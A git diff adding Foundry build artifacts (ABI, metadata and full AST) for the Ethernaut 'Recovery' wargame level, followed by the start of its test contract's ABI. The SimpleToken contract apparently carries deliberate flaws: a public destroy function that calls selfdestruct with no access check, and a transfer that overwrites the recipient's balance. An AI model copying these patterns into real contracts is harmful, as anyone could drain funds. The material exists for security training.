payable\",\"name\":\"_to\",\"type\":\"address\"}],\"name\":\"destroy\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Recovery.sol\":\"SimpleToken\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Recovery.sol\":{\"keccak256\":\"0x3c66a08eadebb91b03f62f67db4728f821eba9fc46bbcc4206dda6af75d4ecee\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://db1efcadfb9427c8800766b9f668f5df87963fcf60316937774eceaa4f2cd6ce\",\"dweb:/ipfs/QmdARiDCKNG5dThGnPQEXryESS4jPGFCXJvbAgyZcJr2DQ\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_creator","type":"address"},{"internalType":"uint256","name":"_initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address payable","name":"_to","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"destroy"},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Recovery.sol":"SimpleToken"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Recovery.sol":{"keccak256":"0x3c66a08eadebb91b03f62f67db4728f821eba9fc46bbcc4206dda6af75d4ecee","urls":["bzz-raw://db1efcadfb9427c8800766b9f668f5df87963fcf60316937774eceaa4f2cd6ce","dweb:/ipfs/QmdARiDCKNG5dThGnPQEXryESS4jPGFCXJvbAgyZcJr2DQ"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Recovery.sol","id":54819,"exportedSymbols":{"Recovery":[54732],"SimpleToken":[54818]},"nodeType":"SourceUnit","src":"32:982:103","nodes":[{"id":54714,"nodeType":"PragmaDirective","src":"32:23:103","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":54732,"nodeType":"ContractDefinition","src":"57:190:103","nodes":[{"id":54731,"nodeType":"FunctionDefinition","src":"103:142:103","nodes":[],"body":{"id":54730,"nodeType":"Block","src":"178:67:103","nodes":[],"statements":[{"expression":{"arguments":[{"id":54724,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54716,"src":"204:5:103","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"expression":{"id":54725,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"211:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54726,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"215:6:103","memberName":"sender","nodeType":"MemberAccess","src":"211:10:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":54727,"name":"_initialSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54718,"src":"223:14:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":54723,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"188:15:103","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_string_memory_ptr_$_t_address_$_t_uint256_$returns$_t_contract$_SimpleToken_$54818_$","typeString":"function (string memory,address,uint256) returns (contract SimpleToken)"},"typeName":{"id":54722,"nodeType":"UserDefinedTypeName","pathNode":{"id":54721,"name":"SimpleToken","nameLocations":["192:11:103"],"nodeType":"IdentifierPath","referencedDeclaration":54818,"src":"192:11:103"},"referencedDeclaration":54818,"src":"192:11:103","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleToken_$54818","typeString":"contract SimpleToken"}}},"id":54728,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"188:50:103","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SimpleToken_$54818","typeString":"contract SimpleToken"}},"id":54729,"nodeType":"ExpressionStatement","src":"188:50:103"}]},"functionSelector":"3894e516","implemented":true,"kind":"function","modifiers":[],"name":"generateToken","nameLocation":"112:13:103","parameters":{"id":54719,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54716,"mutability":"mutable","name":"_name","nameLocation":"140:5:103","nodeType":"VariableDeclaration","scope":54731,"src":"126:19:103","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":54715,"name":"string","nodeType":"ElementaryTypeName","src":"126:6:103","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":54718,"mutability":"mutable","name":"_initialSupply","nameLocation":"155:14:103","nodeType":"VariableDeclaration","scope":54731,"src":"147:22:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54717,"name":"uint256","nodeType":"ElementaryTypeName","src":"147:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"125:45:103"},"returnParameters":{"id":54720,"nodeType":"ParameterList","parameters":[],"src":"178:0:103"},"scope":54732,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Recovery","contractDependencies":[54818],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54732],"name":"Recovery","nameLocation":"66:8:103","scope":54819,"usedErrors":[],"usedEvents":[]},{"id":54818,"nodeType":"ContractDefinition","src":"249:764:103","nodes":[{"id":54734,"nodeType":"VariableDeclaration","src":"276:18:103","nodes":[],"constant":false,"functionSelector":"06fdde03","mutability":"mutable","name":"name","nameLocation":"290:4:103","scope":54818,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":54733,"name":"string","nodeType":"ElementaryTypeName","src":"276:6:103","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"public"},{"id":54738,"nodeType":"VariableDeclaration","src":"300:43:103","nodes":[],"constant":false,"functionSelector":"27e235e3","mutability":"mutable","name":"balances","nameLocation":"335:8:103","scope":54818,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":54737,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":54735,"name":"address","nodeType":"ElementaryTypeName","src":"308:7:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"300:27:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":54736,"name":"uint256","nodeType":"ElementaryTypeName","src":"319:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":54758,"nodeType":"FunctionDefinition","src":"369:149:103","nodes":[],"body":{"id":54757,"nodeType":"Block","src":"444:74:103","nodes":[],"statements":[{"expression":{"id":54749,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54747,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54734,"src":"454:4:103","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54748,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54740,"src":"461:5:103","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"454:12:103","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":54750,"nodeType":"ExpressionStatement","src":"454:12:103"},{"expression":{"id":54755,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54751,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"476:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54753,"indexExpression":{"id":54752,"name":"_creator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54742,"src":"485:8:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"476:18:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54754,"name":"_initialSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54744,"src":"497:14:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"476:35:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54756,"nodeType":"ExpressionStatement","src":"476:35:103"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":54745,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54740,"mutability":"mutable","name":"_name","nameLocation":"395:5:103","nodeType":"VariableDeclaration","scope":54758,"src":"381:19:103","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":54739,"name":"string","nodeType":"ElementaryTypeName","src":"381:6:103","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":54742,"mutability":"mutable","name":"_creator","nameLocation":"410:8:103","nodeType":"VariableDeclaration","scope":54758,"src":"402:16:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54741,"name":"address","nodeType":"ElementaryTypeName","src":"402:7:103","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54744,"mutability":"mutable","name":"_initialSupply","nameLocation":"428:14:103","nodeType":"VariableDeclaration","scope":54758,"src":"420:22:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54743,"name":"uint256","nodeType":"ElementaryTypeName","src":"420:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"380:63:103"},"returnParameters":{"id":54746,"nodeType":"ParameterList","parameters":[],"src":"444:0:103"},"scope":54818,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54772,"nodeType":"FunctionDefinition","src":"566:81:103","nodes":[],"body":{"id":54771,"nodeType":"Block","src":"593:54:103","nodes":[],"statements":[{"expression":{"id":54769,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54761,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"603:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54764,"indexExpression":{"expression":{"id":54762,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"612:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54763,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"616:6:103","memberName":"sender","nodeType":"MemberAccess","src":"612:10:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"603:20:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54768,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":54765,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"626:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54766,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"630:5:103","memberName":"value","nodeType":"MemberAccess","src":"626:9:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"3130","id":54767,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"638:2:103","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"626:14:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"603:37:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54770,"nodeType":"ExpressionStatement","src":"603:37:103"}]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":54759,"nodeType":"ParameterList","parameters":[],"src":"573:2:103"},"returnParameters":{"id":54760,"nodeType":"ParameterList","parameters":[],"src":"593:0:103"},"scope":54818,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":54807,"nodeType":"FunctionDefinition","src":"686:208:103","nodes":[],"body":{"id":54806,"nodeType":"Block","src":"741:153:103","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54785,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":54780,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"759:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54783,"indexExpression":{"expression":{"id":54781,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"768:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54782,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"772:6:103","memberName":"sender","nodeType":"MemberAccess","src":"768:10:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"759:20:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":54784,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54776,"src":"783:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"759:31:103","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":54779,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"751:7:103","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":54786,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"751:40:103","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54787,"nodeType":"ExpressionStatement","src":"751:40:103"},{"expression":{"id":54798,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54788,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"801:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54791,"indexExpression":{"expression":{"id":54789,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"810:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54790,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"814:6:103","memberName":"sender","nodeType":"MemberAccess","src":"810:10:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"801:20:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54797,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":54792,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"824:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54795,"indexExpression":{"expression":{"id":54793,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"833:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54794,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"837:6:103","memberName":"sender","nodeType":"MemberAccess","src":"833:10:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"824:20:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":54796,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54776,"src":"847:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"824:30:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"801:53:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54799,"nodeType":"ExpressionStatement","src":"801:53:103"},{"expression":{"id":54804,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54800,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"864:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54802,"indexExpression":{"id":54801,"name":"_to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54774,"src":"873:3:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"864:13:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54803,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54776,"src":"880:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"864:23:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54805,"nodeType":"ExpressionStatement","src":"864:23:103"}]},"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"695:8:103","parameters":{"id":54777,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54774,"mutability":"mutable","name":"_to","nameLocation":"712:3:103","nodeType":"VariableDeclaration","scope":54807,"src":"704:11:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54773,"name":"address","nodeType":"ElementaryTypeName","src":"704:7:103","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54776,"mutability":"mutable","name":"_amount","nameLocation":"725:7:103","nodeType":"VariableDeclaration","scope":54807,"src":"717:15:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54775,"name":"uint256","nodeType":"ElementaryTypeName","src":"717:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"703:30:103"},"returnParameters":{"id":54778,"nodeType":"ParameterList","parameters":[],"src":"741:0:103"},"scope":54818,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54817,"nodeType":"FunctionDefinition","src":"932:79:103","nodes":[],"body":{"id":54816,"nodeType":"Block","src":"977:34:103","nodes":[],"statements":[{"expression":{"arguments":[{"id":54813,"name":"_to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54809,"src":"1000:3:103","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":54812,"name":"selfdestruct","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-21,"src":"987:12:103","typeDescriptions":{"typeIdentifier":"t_function_selfdestruct_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable)"}},"id":54814,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"987:17:103","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54815,"nodeType":"ExpressionStatement","src":"987:17:103"}]},"functionSelector":"00f55d9d","implemented":true,"kind":"function","modifiers":[],"name":"destroy","nameLocation":"941:7:103","parameters":{"id":54810,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54809,"mutability":"mutable","name":"_to","nameLocation":"965:3:103","nodeType":"VariableDeclaration","scope":54817,"src":"949:19:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":54808,"name":"address","nodeType":"ElementaryTypeName","src":"949:15:103","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"948:21:103"},"returnParameters":{"id":54811,"nodeType":"ParameterList","parameters":[],"src":"977:0:103"},"scope":54818,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"SimpleToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54818],"name":"SimpleToken","nameLocation":"258:11:103","scope":54819,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":103} \ No newline at end of file diff --git a/contracts/out/Recovery.t.sol/TestRecovery.json b/contracts/out/Recovery.t.sol/TestRecovery.json new file mode 100644 index 000000000..667bf19f6 --- /dev/null +++ b/contracts/out/Recovery.t.sol/TestRecovery.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":